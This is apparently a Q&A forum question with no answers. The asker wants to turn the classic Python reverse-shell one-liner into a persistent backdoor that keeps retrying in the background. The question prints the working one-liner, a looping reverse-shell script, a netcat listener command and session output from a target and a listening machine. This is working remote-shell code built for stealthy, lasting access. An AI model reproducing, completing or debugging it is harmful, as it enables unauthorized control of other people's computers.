1

I am trying to transform the classic python reverse shell below into a persistent shell that can be run on a machine and connected back to at any time.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I have it working almost as expected, but when the shell catches, the python process is stopped. I think this is due to the python subprocess module's behavior, but I am not sure.

I have tried exchanging subprocess.Popen and subprocess.call, and have tried using continue and pass keywords. My code is below.

import subprocess,socket,time,os

while True:

    try: # classic python reverse shell
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("IP-ADDR",PORT))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        p = subprocess.Popen(["/bin/sh","-i"])
        print('[+] Shell Spawned')
    except: # if the shell doesn't catch
        print('[-] Error Spawning Shell')
        time.sleep(5) # wait 5 seconds and try again

Here is the output of running the script, on a "target" machine.

michael@linux:~/Desktop$ python3 reverse_shell.py 
[-] Error Spawning Shell
[-] Error Spawning Shell
[-] Error Spawning Shell
/// I STARTED LISTENING HERE ///
[1]+  Stopped                 python3 reverse_shell.py
michael@linux:~/Desktop$ exit
There are stopped jobs.
/// AS SOON AS I STARTED TYPING THE 'J' IN JOBS THIS 'EXIT' LINE APPEARED ABOVE ///
michael@linux:~/Desktop$ jobs
[1]+  Stopped                 python3 reverse_shell.py
/// THE PROCESS IS STOPPED ///
michael@linux:~/Desktop$ 

Here is the output on the listening machine...

root@ubuntu:~# nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 67.163.203.87 34946 received!
[+] Shell Spawned
/// NOT SURE WHY THIS IS PRINTED HERE AND NOT ON TARGET MACHINE ///
$ exit
/// THIS EXIT IS PRINTED ON THE TARGET MACHINE FOR SOME REASON ///
root@ubuntu:~# 

I would have expected all output on the target machine, and for the script to continue running with the shells spawning in the background and only catching when the other machine is listening. I want this script to work flawlessly while running in the background. Why is this not working?

Michael Hoefler
  • 105
  • 2
  • 9

0 Answers0